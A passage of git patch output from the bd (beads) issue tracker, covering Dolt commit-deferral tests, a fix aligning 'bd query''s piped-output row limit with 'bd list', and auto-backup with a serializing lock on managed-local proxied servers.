TestDoltServerTxCommitDefersDoltCommitUnderDeferredContext(t *testing.T) { + for _, tc := range []struct { + name string + deferred bool + }{ + {name: "on (not deferred)", deferred: false}, + {name: "batch or off (deferred)", deferred: true}, + } { + t.Run(tc.name, func(t *testing.T) { + p, mock := newMockTxProvider(t) + mock.ExpectExec("START TRANSACTION").WillReturnResult(sqlmock.NewResult(0, 0)) + if tc.deferred { + // With deferred version commit (GH#4995), the non-empty message is blanked, + // skipping DOLT_COMMIT and executing plain COMMIT without status check. + mock.ExpectExec(matchPlainCommit).WillReturnResult(sqlmock.NewResult(0, 0)) + } else { + expectPendingChanges(mock, 1) + mock.ExpectExec("DOLT_COMMIT").WithArgs("bd: real write").WillReturnResult(sqlmock.NewResult(0, 1)) + } + + tx, err := p.BeginTx(context.Background()) + require.NoError(t, err) + + ctx := context.Background() + if tc.deferred { + ctx = issueops.WithDeferredVersionCommit(ctx) + } + + err = tx.Commit(ctx, "bd: real write") + require.NoError(t, err) + require.NoError(t, mock.ExpectationsWereMet()) + assert.Equal(t, 1, p.db.Stats().OpenConnections, "session must cleanly return to pool") + }) + } +} + +// TestDoltServerTxCommitHonorsImmediateVersionCommit pins the other half of the +// GH#4995 policy: the proxied route applies the deferral ONCE, to the root +// context, so the explicit commit points — the duals whose direct-route twin +// calls transact and mints a Dolt commit whatever dolt.auto-commit says — opt +// back out with issueops.WithImmediateVersionCommit. The caller's message must +// then survive all the way to DOLT_COMMIT; blanking it would persist the rows +// and record nothing, which is what `bd batch -m` must never do. +func TestDoltServerTxCommitHonorsImmediateVersionCommit(t *testing.T) { + p, mock := newMockTxProvider(t) + mock.ExpectExec("START TRANSACTION").WillReturnResult(sqlmock.NewResult(0, 0)) + expectPendingChanges(mock, 1) + mock.ExpectExec("DOLT_COMMIT").WithArgs("bd: batch 3 ops by tester").WillReturnResult(sqlmock.NewResult(0, 1)) + + tx, err := p.BeginTx(context.Background()) + require.NoError(t, err) + + // Composed in the order the proxied CLI composes them: the route-wide + // deferral from the pre-run, then the exemption from the dual. + ctx := issueops.WithImmediateVersionCommit(issueops.WithDeferredVersionCommit(context.Background())) + require.NoError(t, tx.Commit(ctx, "bd: batch 3 ops by tester")) + require.NoError(t, mock.ExpectationsWereMet()) + assert.Equal(t, 1, p.db.Stats().OpenConnections, "session must cleanly return to pool") +} + +// TestDoltServerTxRunTxWithDeferredContextSkipsDoltCommit verifies that a complete +// unit of work executed via RunTx under deferred version commit commits via plain +// COMMIT and succeeds without advancing Dolt history (GH#4995). +func TestDoltServerTxRunTxWithDeferredContextSkipsDoltCommit(t *testing.T) { + p, mock := newMockTxProvider(t) + mock.ExpectExec("START TRANSACTION").WillReturnResult(sqlmock.NewResult(0, 0)) + mock.ExpectExec(matchPlainCommit).WillReturnResult(sqlmock.NewResult(0, 0)) + + ctx := issueops.WithDeferredVersionCommit(context.Background()) + err := RunTx(ctx, p, func(ctx context.Context, uw UnitOfWork) (string, error) { + return "bd: update GH#4995", nil + }) + require.NoError(t, err) + require.NoError(t, mock.ExpectationsWereMet()) + assert.Equal(t, 1, p.db.Stats().OpenConnections) +} From 4d512abbc2ef3e7c2d4ac0a99f577e65f21568fc Mon Sep 17 00:00:00 2001 From: Harry Miller Date: Sat, 26 Sep 2026 02:50:09 -0700 Subject: [PATCH 206/624] fix(query): apply bd list's piped-output limit policy to bd query (#6229) (#6744) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * fix(query): apply bd list's piped-output limit policy to bd query (#6229) Root cause: bd list resolves an unflagged --limit through a policy that treats piped stdout as unlimited (GH#4094), but bd query read its --limit flag straight through, so its default of workapi.DefaultQueryLimit (50) applied to piped output too. `bd query '...' | consumer` silently dropped every row past 50; the truncation hint did not fire either, because it only prints when stderr is a terminal. Fix: factor the unflagged tail of bd list's policy into unflaggedLimit / resolveUnflaggedLimit in list_input.go and call it from both commands, so they cannot drift. bd list's switch is unchanged in behavior; bd query's change is a single localized branch in gatherQueryInput. Precedence for bd query, mirroring bd list: 1. explicit --limit (including 0) wins 2. piped stdout -> 0 (unlimited) 3. agent mode on a terminal -> 20 4. otherwise the 50 default bd list keeps its own --all and list.limit branches ahead of step 2; bd query has neither (its --all means "include closed", and there is no query.limit config key), so none was invented. Agent-Signature: claude-code-opus-5-5-unknown-reasoning on behalf of Harry Miller Co-Authored-By: Claude Opus 5.5 (1M context) * review: document the query path's absent defensive cap; unstale a reachability comment Maintainer review fixes for PR #6744 (GH#6229). Both are comment-only; no behavior changes. issueops.QueryRequest.Limit now states that nothing backstops it. ListRequest pairs its Limit with MaxRows, a circuit breaker for an oversized answer, and neither knob that sets that one (--max-rows, BEADS_MAX_ROWS) is read anywhere on the query path, so an unlimited query is unbounded in the plain sense. That was already reachable via `--limit 0`; this PR makes a piped `bd query` reach it without asking, which is what makes it worth writing down. Recording the absence is the documented half of the reviewers' choice — threading a MaxRows twin onto QueryRequest stays available as a follow-up. unionCountsGoSideSortKeepsTheRightSubset's comment justified its case with "DefaultQueryLimit means a limit is always set", which this PR falsified for the CLI half: an unflagged piped `bd query '' --sort id` now arrives on the IsGoSideSort path with Limit 0 and no bound. The HTTP surface still brings a bound, because an absent `limit` parameter resolves to DefaultQueryLimit, so the clause is requalified rather than dropped. The assertions were never affected — they pass an explicit Limit: 5. Co-Authored-By: Claude Opus 5 --------- Co-authored-by: Claude Opus 5.5 (1M context) Co-authored-by: Julian Knutsen (cherry picked from commit 0e317c4fc0e54764dbfb05a388cd32b2b53fdd2d) Hand-resolved for hotfix/1.3.1: CHANGELOG.md conflicted only on context (main's surrounding Unreleased entries do not exist on the release line). The release CHANGELOG is kept and this entry is added verbatim under Unreleased "### Fixed". No code hunk needed changes. Co-Authored-By: Claude Opus 5.5 --- CHANGELOG.md | 8 ++ cmd/bd/list_input.go | 31 +++++- cmd/bd/query.go | 5 + cmd/bd/query_limit_policy_test.go | 95 +++++++++++++++++++ .../db/issue_search_union_window_test.go | 12 ++- issueops/querier.go | 11 +++ 6 files changed, 153 insertions(+), 9 deletions(-) create mode 100644 cmd/bd/query_limit_policy_test.go diff --git a/CHANGELOG.md b/CHANGELOG.md index eae47e4d3..5101a7e50 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -139,6 +139,14 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 transaction and a sibling's refusal does not roll it back — so the summary names the claimed id rather than leaving it silently assigned. +- **`bd query` no longer silently stops at 50 rows when its output is piped** + ([#6229](https://github.com/gastownhall/beads/issues/6229)). `bd list` has + treated piped stdout as unlimited since GH#4094, but `bd query` read its + `--limit` default of 50 straight through, so `bd query '...' | consumer` + dropped every row past 50 with no hint. An unflagged `bd query` now resolves + through the same policy as `bd list`: an explicit `--limit` wins, piped + stdout is unlimited, agent mode on a terminal gets 20, and a terminal gets 50. + ## [1.3.1] - 2026-09-16 ### Changed diff --git a/cmd/bd/list_input.go b/cmd/bd/list_input.go index 7d12e7c63..5dd69799c 100644 --- a/cmd/bd/list_input.go +++ b/cmd/bd/list_input.go @@ -331,10 +331,8 @@ func gatherListInput(cmd *cobra.Command) (listInput, error) { in.effectiveLimit = 0 case listLimitConfigured: in.effectiveLimit = limit - case !ui.IsTerminal(): - in.effectiveLimit = 0 // Piped stdout should not truncate (GH#4094) - case ui.IsAgentMode(): - in.effectiveLimit = 20 + default: + in.effectiveLimit = unflaggedLimit(limit) } // The request carries the limit the caller receives. Which row limit that // implies for the query - a sort SQL cannot express fetches everything and @@ -389,3 +387,28 @@ func parseListTimeFlag(cmd *cobra.Command, name string) (*time.Time, error) { } return &t, nil } + +// agentModeLimit is the page size an unflagged listing gets in agent mode on a +// terminal: ultra-compact output for an LLM context window. +const agentModeLimit = 20 + +// unflaggedLimit is the limit a listing command uses when the caller named +// none: the part of the policy `bd list` and `bd query` share, so the two +// cannot drift (GH#6229). Each command resolves its own earlier branches first +// (an explicit --limit, `bd list`'s --all and list.limit) and hands its own +// default here as fallback. +func unflaggedLimit(fallback int) int { + return resolveUnflaggedLimit(fallback, ui.IsTerminal(), ui.IsAgentMode()) +} + +// resolveUnflaggedLimit is unflaggedLimit with the environment passed in, so +// the terminal and agent-mode branches are testable from a piped `go test`. +func resolveUnflaggedLimit(fallback int, stdoutIsTerminal, agentMode bool) int { + switch { + case !stdoutIsTerminal: + return 0 // Piped stdout should not truncate (GH#4094) + case agentMode: + return agentModeLimit + } + return fallback +} diff --git a/cmd/bd/query.go b/cmd/bd/query.go index 67c689778..bdca76532 100644 --- a/cmd/bd/query.go +++ b/cmd/bd/query.go @@ -151,6 +151,11 @@ func gatherQueryInput(cmd *cobra.Command, args []string) (queryInput, error) { in := queryInput{expression: strings.Join(args, " ")} in.limit, _ = cmd.Flags().GetInt("limit") + if !cmd.Flags().Changed("limit") { + // bd list's policy for an unflagged limit: piped stdout is unlimited, + // agent mode is compact, a terminal gets the default (GH#6229). + in.limit = unflaggedLimit(in.limit) + } in.longFormat, _ = cmd.Flags().GetBool("long") in.parseOnly, _ = cmd.Flags().GetBool("parse-only") in.offset, _ = cmd.Flags().GetInt("offset") diff --git a/cmd/bd/query_limit_policy_test.go b/cmd/bd/query_limit_policy_test.go new file mode 100644 index 000000000..2d6c73e2c --- /dev/null +++ b/cmd/bd/query_limit_policy_test.go @@ -0,0 +1,95 @@ +package main + +import ( + "testing" + + "github.com/spf13/cobra" + + "github.com/steveyegge/beads/internal/ui" + "github.com/steveyegge/beads/internal/workapi" +) + +// newQueryLimitCommand registers the flags gatherQueryInput reads, with +// queryCmd's own --limit default. +func newQueryLimitCommand(t *testing.T, args ...string) *cobra.Command { + t.Helper() + cmd := &cobra.Command{Use: "query"} + cmd.Flags().IntP("limit", "n", workapi.DefaultQueryLimit, "") + cmd.Flags().Int("offset", 0, "") + cmd.Flags().BoolP("all", "a", false, "") + cmd.Flags().Bool("long", false, "") + cmd.Flags().String("sort", "", "") + cmd.Flags().BoolP("reverse", "r", false, "") + cmd.Flags().Bool("parse-only", false, "") + if err := cmd.ParseFlags(args); err != nil { + t.Fatalf("parse %v: %v", args, err) + } + return cmd +} + +// TestQueryLimitPolicyMatchesList pins GH#6229: `bd query` read --limit +// straight through, so `bd query ... | consumer` silently stopped at +// workapi.DefaultQueryLimit rows where `bd list | consumer` got every row +// (GH#4094). An unflagged query now resolves through the same policy as list. +func TestQueryLimitPolicyMatchesList(t *testing.T) { + if ui.IsTerminal() { + t.Skip("this test asserts the piped-stdout branch; go test's stdout is a pipe, but this run's is not") + } + for _, tc := range []struct { + name string + args []string + want int + }{ + {"an explicit limit wins when piped", []string{"--limit", "7"}, 7}, + {"an explicit default-sized limit is still honored when piped", []string{"--limit", "50"}, 50}, + {"an explicit zero stays unlimited", []string{"--limit", "0"}, 0}, + {"piped stdout is unlimited, not the query default", nil, 0}, + // query's --all means "include closed", not "no limit"; piping is + // what lifts the cap here. + {"--all does not change the piped policy", []string{"--all"}, 0}, + } { + t.Run(tc.name, func(t *testing.T) { + in, err := gatherQueryInput(newQueryLimitCommand(t, tc.args...), []string{"status=open"}) + if err != nil { + t.Fatalf("gatherQueryInput(%v): %v", tc.args, err) + } + if in.limit != tc.want { + t.Errorf("limit = %d, want %d", in.limit, tc.want) + } + if in.request.Limit == nil { + t.Fatal("QueryRequest.Limit is nil; `bd query` resolves its own limit before the request exists") + } + if *in.request.Limit != tc.want { + t.Errorf("QueryRequest.Limit = %d, want %d", *in.request.Limit, tc.want) + } + }) + } +} + +// TestUnflaggedLimitBranches covers the terminal and agent-mode branches the +// piped `go test` process cannot reach through gatherQueryInput or +// gatherListInput, for both commands' defaults. +func TestUnflaggedLimitBranches(t *testing.T) { + for _, fallback := range []int{workapi.DefaultListLimit, workapi.DefaultQueryLimit} { + for _, tc := range []struct { + name string + terminal bool + agent bool + want int + }{ + {"terminal gets the command default", true, false, fallback}, + {"agent mode on a terminal is compact", true, true, agentModeLimit}, + {"piped stdout is unlimited", false, false, 0}, + // Piping outranks agent mode, as it always has for bd list. + {"piped stdout is unlimited in agent mode too", false, true, 0}, + } { + if got := resolveUnflaggedLimit(fallback, tc.terminal, tc.agent); got != tc.want { + t.Errorf("%s: resolveUnflaggedLimit(%d, terminal=%v, agent=%v) = %d, want %d", + tc.name, fallback, tc.terminal, tc.agent, got, tc.want) + } + } + } + if agentModeLimit != 20 { + t.Errorf("agentModeLimit = %d, want 20 (bd list's historical agent-mode cap)", agentModeLimit) + } +} diff --git a/internal/storage/domain/db/issue_search_union_window_test.go b/internal/storage/domain/db/issue_search_union_window_test.go index 4809ae167..2e83166fb 100644 --- a/internal/storage/domain/db/issue_search_union_window_test.go +++ b/internal/storage/domain/db/issue_search_union_window_test.go @@ -68,11 +68,13 @@ func (s *testSuite) unionGoSideSortKeepsTheRightSubset() { // unionCountsGoSideSortKeepsTheRightSubset is the same case on the counts twin, // and that is the twin the live callers reach. workapi.BuildQueryPlan pushes // SortBy and Limit straight onto the filter for any filter-expressible query — -// no SQLLimit guard, and DefaultQueryLimit means a limit is always set — so -// `bd query '' --sort id` and GET /v0/beads/issues/query?sort=id both -// arrived here with SortBy "id" and a bound. Its own comment says the pushdown -// makes "the page the first N in the requested order on every backend", which -// was true of every key except the one IsGoSideSort names. +// no SQLLimit guard — so `bd query '' --sort id` and +// GET /v0/beads/issues/query?sort=id both arrive here with SortBy "id". The +// HTTP surface still brings a bound with it, because an absent `limit` +// parameter resolves to DefaultQueryLimit; the CLI need not, since GH#6229 +// gave a piped `bd query` the unflagged limit 0. Its own comment says the +// pushdown makes "the page the first N in the requested order on every +// backend", which was true of every key except the one IsGoSideSort names. func (s *testSuite) unionCountsGoSideSortKeepsTheRightSubset() { const prefix = "bd-uw-cgos" ids := s.seedTwoPlanes(prefix, 12) diff --git a/issueops/querier.go b/issueops/querier.go index ca6212a03..edd3b22b1 100644 --- a/issueops/querier.go +++ b/issueops/querier.go @@ -60,6 +60,17 @@ type QueryRequest struct { // constant serve both surfaces. A negative Limit is ErrValidation rather // than a synonym for unlimited: two spellings of "no bound" is one more // than a caller can check for. + // + // NOTHING BACKSTOPS IT. ListRequest pairs its Limit with MaxRows, a + // circuit breaker that refuses an oversized answer outright; this request + // has no twin to it by design, and neither knob that sets that one + // (`--max-rows`, BEADS_MAX_ROWS) is read anywhere on the query path. So an + // unlimited query is unbounded in the plain sense: it reads every row the + // expression matches, however many that is, and a caller who asked for one + // gets it rather than an ErrTooManyRows. The ceiling here is Limit itself. + // This is reachable without asking: a piped `bd query` resolves its + // unflagged limit to 0 before the request, the same policy `bd list` has + // applied to piped output since GH#4094. Limit *int // Offset skips the first N MATCHING rows, on EVERY implementation and for From 48be70fb7e918d10186d6dec5ae5c22f326bf05e Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Mon, 28 Sep 2026 02:45:58 -0700 Subject: [PATCH 207/624] feat(backup): proxied auto-backup on managed-local, serialized with bd backup sync (#6879) * feat(backup): run opted-in auto-backup on a managed-local proxied server managed-local, and #6694 made `bd backup status` admit the remaining gap: the proxied arm of PersistentPostRunE never called runPostRunAutoBackup, so backup.enabled=true was inert on every proxied workspace. Close it. The proxied arm now calls the auto-backup hook before it closes the provider, under the direct arm's maintenance gate (strict --readonly, `bd serve`, a migration freeze) plus previews. maybeAutoBackup picks a backend for the command: the direct store as before, or the proxied provider's RunNonTx seam, which `bd backup sync` already uses. The proxied backend is honored exactly where `bd backup sync` is: the "backup sync" capability row's rule for this workspace's topology, so managed-local only. Auto-backup registers a server-side backup remote, which on a server bd does not own is global to every client; an implicit trigger must not get further than the explicit verb. It never opens a provider of its own: a command that opened none (`bd dolt stop`) or closed it (restore) backs nothing up rather than relaunching the server. The default stays OFF, as on every server-mode workspace. The register/sync-to-a-local-dir sequence that DoltStore and EmbeddedDoltStore each carried a copy of moves to versioncontrolops.BackupToDir (and HEAD lookup to CurrentCommit), so the proxied backend reuses it instead of adding a third copy. Tests: TestManagedLocalProxiedAutoBackup (default off, opt-in writes a restorable backup, change detection, `bd dolt stop` stays quiescent, restore round trip with issue-set equality; fails against origin/main); TestManagedLocalProxiedBackupRestoreRefusedWhileAttached pins the restore design (refused while another bd client holds the workspace, serving child untouched, succeeds once it detaches); unit tests for the backend locality gate, the post-run wiring, the status note and BackupToDir. Both managed-local tests, and the existing round trip, are added to the proxied-local smoke lane's compiled-in list. Co-Authored-By: Claude Opus 5.5 * fix(backup): serialize auto-backup and bd backup sync with a workspace backup lock Review follow-up on #6879. Auto-backup and an explicit bd backup sync both run under the command's SHARED workspace gate, so nothing stopped them overlapping, and auto-backup's remove -> add -> sync on one fixed remote name races a concurrent copy of itself. A per-workspace flock (.beads/backup.lock, already gitignored by *.lock) now serializes them in every mode. Auto-backup takes it non-blocking and skips when held (the throttle is left alone, so a later command retries). bd backup sync waits up to exclusiveGateWait - the bound restore's exclusive gate acquisition uses - then fails with "another backup is running for this workspace" before touching the store. Restore needs no part in it: its exclusive workspace gate already excludes every command that could hold the lock. Tests: lock semantics (refusal while held, bounded wait, release), auto-backup skipping while held and running once released, and sync failing loudly without reaching the store. Co-Authored-By: Claude Opus 5.5 --------- Co-authored-by: Claude Opus 5.5 (cherry picked from commit 4e4ebdb443eefef1e6456e8b57bc69d5df7d85f2) Hand-resolved for hotfix/1.3.1: - cmd/bd/BUILD.bazel: does not exist on the release line (no Bazel build there); the file is dropped, as in #6905. - .github/workflows/proxied-local-smoke.yml: the release lane list differs from main (it has CapabilityMatrix and BackupRoundTrip, lacks TrackerUOWConformance). Kept the release list and appended this commit's two new tests, AutoBackup and BackupRestoreRefusedWhileAttached (BackupRoundTrip was already listed). The backup*.go path-filter hunks applied cleanly. - CHANGELOG.md: context-only conflict. The release CHANGELOG is kept and this commit's two Unreleased/Added entries are inserted verbatim before the bd purge entry, where main places them. No code hunk needed changes. Co-Authored-By: Claude Opus 5.5 --- .github/workflows/proxied-local-smoke.yml | 4 +- CHANGELOG.md | 21 ++ cmd/bd/backup.go | 8 +- cmd/bd/backup_auto.go | 74 ++++-- ...kup_auto_proxied_local_integration_test.go | 240 ++++++++++++++++++ cmd/bd/backup_auto_proxied_test.go | 142 +++++++++++ cmd/bd/backup_auto_test.go | 22 +- cmd/bd/backup_dolt.go | 16 +- cmd/bd/backup_export.go | 39 ++- cmd/bd/backup_export_failure_test.go | 5 +- cmd/bd/backup_lock.go | 71 ++++++ cmd/bd/backup_lock_test.go | 133 ++++++++++ cmd/bd/backup_proxied_server.go | 71 +++++- cmd/bd/main.go | 9 + internal/storage/dolt/store.go | 34 +-- internal/storage/dolt/versioned.go | 7 +- .../storage/embeddeddolt/version_control.go | 33 +-- internal/storage/versioncontrolops/backup.go | 55 ++++ .../storage/versioncontrolops/backup_test.go | 29 +++ 19 files changed, 885 insertions(+), 128 deletions(-) create mode 100644 cmd/bd/backup_auto_proxied_local_integration_test.go create mode 100644 cmd/bd/backup_auto_proxied_test.go create mode 100644 cmd/bd/backup_lock.go create mode 100644 cmd/bd/backup_lock_test.go diff --git a/.github/workflows/proxied-local-smoke.yml b/.github/workflows/proxied-local-smoke.yml index eee9b7b19..7033f3faa 100644 --- a/.github/workflows/proxied-local-smoke.yml +++ b/.github/workflows/proxied-local-smoke.yml @@ -117,7 +117,9 @@ jobs: TestManagedLocalProxiedDoltLifecycleLeavesOtherTopologiesAlone \ TestManagedLocalProxiedPurgeWispsPlaneRetention \ TestManagedLocalProxiedCapabilityMatrix \ - TestManagedLocalProxiedBackupRoundTrip + TestManagedLocalProxiedBackupRoundTrip \ + TestManagedLocalProxiedAutoBackup \ + TestManagedLocalProxiedBackupRestoreRefusedWhileAttached do if ! grep -qx "$test_name" <<<"$listed"; then echo "managed-local lifecycle test $test_name is missing; got: '$listed'" >&2 diff --git a/CHANGELOG.md b/CHANGELOG.md index 5101a7e50..95333335f 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -39,6 +39,27 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 server topology. Wiring an auto-backup hook through the new routes is left to a later slice. +- **Auto-backup runs on a managed-local proxied-server workspace.** The + proxied arm of the post-command hook now calls auto-backup, so an explicit + `backup.enabled=true` (or `BD_BACKUP_ENABLED=1`) takes the same throttled, + change-detected Dolt-native backup into `.beads/backup` it takes in direct + mode, through the proxied provider's non-transactional seam. Before this the + opt-in was inert on every proxied workspace and `bd backup status` said so. + The default stays OFF, as on every server-mode workspace: many bd clients + share one server. It is honored exactly where `bd backup sync` is — a + proxied server bd started itself — and stays inert on an external or + team-server topology, strict `--readonly`, `bd serve`, a preview + (`--dry-run`/`--inspect`) and a migration freeze. A command that opened no + provider (e.g. `bd dolt stop`) backs nothing up rather than relaunching the + server to do so. `bd backup status` now reports the proxied default as + `auto: off in proxied-server mode; set backup.enabled=true to opt in`. + +- **Auto-backup and `bd backup sync` no longer overlap.** A per-workspace + backup lock (`.beads/backup.lock`) serializes them in every mode: + auto-backup skips when another backup holds it, and `bd backup sync` waits + up to 5 seconds (the bound restore uses for the workspace gate) and then + fails with "another backup is running for this workspace". + - **`bd purge` covers an orchestrator's wisp retention sweep.** Three changes that together let `bd purge --wisps-plane --older-than 168h --force` replace a raw `DELETE FROM wisps` retention step: diff --git a/cmd/bd/backup.go b/cmd/bd/backup.go index 270536bcf..0e8e02fcc 100644 --- a/cmd/bd/backup.go +++ b/cmd/bd/backup.go @@ -42,10 +42,10 @@ Auto-backup default: coordinate destinations). 'bd config get backup.enabled' shows the effective value and its source. - On a proxied-server workspace that opt-in does not apply: auto-backup has - no post-command hook on that path, so backup.enabled=true is inert there. - The five backup verbs above are honored on a managed-local proxied server — - run 'bd backup sync' explicitly to back one up.`, + A proxied-server workspace is server mode too: auto-backup is OFF by + default and backup.enabled=true opts in. Both the opt-in and the five + backup verbs above are honored only on a managed-local proxied server — + one bd started itself; on a Dolt server bd does not own they are refused.`, GroupID: "sync", } diff --git a/cmd/bd/backup_auto.go b/cmd/bd/backup_auto.go index 8974439e2..988c0dcfb 100644 --- a/cmd/bd/backup_auto.go +++ b/cmd/bd/backup_auto.go @@ -2,6 +2,7 @@ package main import ( "context" + "errors" "fmt" "os" "strings" @@ -46,28 +47,21 @@ func isBackupAutoEnabled() bool { // already computed so the note cannot disagree with the number beside // it — and so status does not re-run the git-remote probe. // -// The note narrates the reason the decision actually used. Proxied-server -// is checked first and ignores the config source, because on that topology -// auto-backup cannot run at all whatever backup.enabled says: the proxied -// arm of PersistentPostRunE never calls runPostRunAutoBackup (main.go), so -// an explicit backup.enabled=true is inert and reporting a bare -// "enabled=true" would send the operator away believing backups happen. -// The five backup verbs are honored on managed-local (the only proxied -// shape that reaches this line — every other one is refused by -// requireLocalProxiedBackup), so `bd backup sync` is the real answer there. -// -// Every other sql-server shape keeps its post-run hook, so there the -// default is merely off — the reason `bd config get backup.enabled` -// already reports for the same condition. Before this arm existed, status -// attributed that OFF to a missing git remote, which is untrue: server -// mode short-circuits isBackupAutoEnabled whether or not a remote exists. +// The note narrates the reason the decision actually used. An explicit +// backup.enabled needs no note: the source explains it, and every shape +// that reaches `bd backup status` honors it — including a managed-local +// proxied server, whose post-run arm runs auto-backup (every other proxied +// shape is refused by requireLocalProxiedBackup before status renders). +// A server-mode default is OFF whether or not a git remote exists, so it +// must not be attributed to the remote; before these arms existed, status +// did exactly that. func backupAutoStatusNote(enabled bool) string { - if usesProxiedServer() { - return "auto-backup does not run on proxied-server; use 'bd backup sync'" - } if config.GetValueSource("backup.enabled") != config.SourceDefault { return "" } + if usesProxiedServer() { + return "auto: off in proxied-server mode; set backup.enabled=true to opt in" + } if usesSQLServer() { return "auto: off in sql-server mode" } @@ -125,6 +119,21 @@ func clientServerShareFilesystem() bool { // bd sessions don't need a chatty repeat on every command. var autoBackupSkipNoticeOnce sync.Once +// autoBackupBackendForCommand returns the storage this command's auto-backup +// runs against, or ok=false when there is nothing it may back up. +func autoBackupBackendForCommand() (localBackupBackend, bool) { + if usesProxiedServer() { + return proxiedAutoBackupBackend() + } + if store == nil { + return nil, false + } + if lm, ok := storage.UnwrapStore(store).(storage.LifecycleManager); ok && lm.IsClosed() { + return nil, false + } + return directLocalBackup{store: store}, true +} + // maybeAutoBackup runs a Dolt-native backup if enabled and the throttle interval has passed. // Called from PersistentPostRun after auto-commit. func maybeAutoBackup(ctx context.Context) { @@ -139,10 +148,8 @@ func maybeAutoBackup(ctx context.Context) { if !isBackupAutoEnabled() { return } - if store == nil { - return - } - if lm, ok := storage.UnwrapStore(store).(storage.LifecycleManager); ok && lm.IsClosed() { + backend, ok := autoBackupBackendForCommand() + if !ok { return } @@ -152,7 +159,11 @@ func maybeAutoBackup(ctx context.Context) { // constructs is meaningless to the server — register fails on // every command. Skip cleanly with a one-time INFO so operators // know auto-backup is silent on purpose. - if !clientServerShareFilesystem() { + // + // Proxied workspaces do not consult the host: proxiedAutoBackupBackend + // has already required managed-local, where bd spawned the server on + // this filesystem itself. + if !usesProxiedServer() && !clientServerShareFilesystem() { autoBackupSkipNoticeOnce.Do(func() { if !isQuiet() && !jsonOutput { fmt.Fprintln(os.Stderr, @@ -190,7 +201,7 @@ func maybeAutoBackup(ctx context.Context) { } // Change detection: skip if nothing changed - currentCommit, err := store.GetCurrentCommit(ctx) + currentCommit, err := backend.CurrentCommit(ctx) if err != nil { fmt.Fprintf(os.Stderr, "Warning: auto-backup skipped: failed to get current commit: %v\n", err) return @@ -200,8 +211,21 @@ func maybeAutoBackup(ctx context.Context) { return } + // One backup at a time per workspace (backup_lock.go). Auto-backup never + // waits: a held lock means a backup is already running. + release, err := acquireBackupLock(0) + if err != nil { + if errors.Is(err, errBackupBusy) { + debug.Logf("backup: skipping — another backup is running\n") + return + } + fmt.Fprintf(os.Stderr, "Warning: auto-backup skipped: %v\n", err) + return + } + defer release() + // Run the backup (force=true since we already checked change detection above) - if _, err := runBackupExport(ctx, true); err != nil { + if _, err := runBackupExport(ctx, backend, true); err != nil { if !isQuiet() && !jsonOutput { fmt.Fprintf(os.Stderr, "Warning: auto-backup failed: %v\n", err) } diff --git a/cmd/bd/backup_auto_proxied_local_integration_test.go b/cmd/bd/backup_auto_proxied_local_integration_test.go new file mode 100644 index 000000000..c87f5389e --- /dev/null +++ b/cmd/bd/backup_auto_proxied_local_integration_test.go @@ -0,0 +1,240 @@ +//go:build cgo && unix + +package main + +import ( + "context" + "encoding/json" + "os" + "path/filepath" + "slices" + "strings" + "testing" + "time" + + "github.com/steveyegge/beads/internal/storage/dbproxy/proxy" + "github.com/steveyegge/beads/internal/storage/dbproxy/server" + "github.com/steveyegge/beads/internal/workspacegate" +) + +// autoBackupOptIn is the explicit opt-in a server-mode workspace needs, with +// the throttle collapsed so every command in a test is due. +var autoBackupOptIn = []string{"BD_BACKUP_ENABLED=true", "BD_BACKUP_INTERVAL=1ms"} + +// TestManagedLocalProxiedAutoBackup is the claim this slice makes: on a +// managed-local proxied workspace, an explicit backup.enabled=true makes the +// post-command hook take a Dolt-native backup into .beads/backup, exactly as +// it does in direct mode — and that backup restores. +// +// Like the explicit-verb round trip next door, the proof is a restore, not an +// exit code: an auto-backup that wrote a manifest nobody can restore from would +// pass every other assertion here. +// +// Named TestManagedLocalProxied* so the proxied-local smoke lane runs it. +func TestManagedLocalProxiedAutoBackup(t *testing.T) { + requireManagedLocalProxiedEnv(t) + + bd := buildEmbeddedBD(t) + p := bdManagedLocalInit(t, bd, "bkauto", 5*time.Minute) + autoDir := filepath.Join(p.beadsDir, "backup") + manifest := filepath.Join(autoDir, "manifest") + + // Server mode defaults auto-backup OFF: many clients share one server. + // Nothing may be written without the opt-in. + bdProxiedCreate(t, bd, p.dir, "no opt-in, no backup", "-p", "2") + if _, err := os.Stat(manifest); err == nil { + t.Fatalf("auto-backup ran without an opt-in: %s exists", manifest) + } + + // With the opt-in, one ordinary write is enough. + created := proxiedAutoBackupCreate(t, bd, p, "captured by auto-backup") + if _, err := os.Stat(manifest); err != nil { + t.Fatalf("opted-in auto-backup produced no manifest at %s: %v", manifest, err) + } + state := readProxiedAutoBackupState(t, bd, p) + if state.LastDoltCommit == "" || state.Timestamp.IsZero() { + t.Fatalf("auto-backup did not record its watermark: %+v", state) + } + wantIDs := proxiedIssueIDs(t, bd, p) + if !slices.Contains(wantIDs, created) { + t.Fatalf("precondition: %s missing from %v", created, wantIDs) + } + + // A read-only command with nothing new to capture must not advance the + // watermark: change detection runs before the backup, as in direct mode. + if _, stderr, err := bdProxiedRunBuffersWithEnv(t, bd, p.dir, autoBackupOptIn, "list", "--json"); err != nil { + t.Fatalf("bd list with auto-backup opted in: %v\n%s", err, stderr) + } + if again := readProxiedAutoBackupState(t, bd, p); again.LastDoltCommit != state.LastDoltCommit { + t.Fatalf("auto-backup advanced with no new commit: %q -> %q", state.LastDoltCommit, again.LastDoltCommit) + } + + // `bd dolt stop` opens no provider, so its post-run hook has nothing to + // back up — and must not relaunch the server it just stopped to find out. + if _, stderr, err := bdProxiedRunBuffersWithEnv(t, bd, p.dir, autoBackupOptIn, "dolt", "stop"); err != nil { + t.Fatalf("bd dolt stop: %v\n%s", err, stderr) + } + assertManagedProxiedQuiescent(t, p, "bd dolt stop with auto-backup opted in") + + // Diverge from the backup, then restore it and compare. + after := bdProxiedCreate(t, bd, p.dir, "created after the auto-backup", "-p", "2") + out, err := bdProxiedRun(t, bd, p.dir, "backup", "restore", autoDir, "--force", "--json") + if err != nil { + t.Fatalf("bd backup restore %s --force: %v\n%s", autoDir, err, out) + } + gotIDs := proxiedIssueIDs(t, bd, p) + if slices.Contains(gotIDs, after.ID) { + t.Fatalf("restore kept %s, created after the auto-backup; got %v", after.ID, gotIDs) + } + if !slices.Equal(gotIDs, wantIDs) { + t.Fatalf("restored issues differ from the 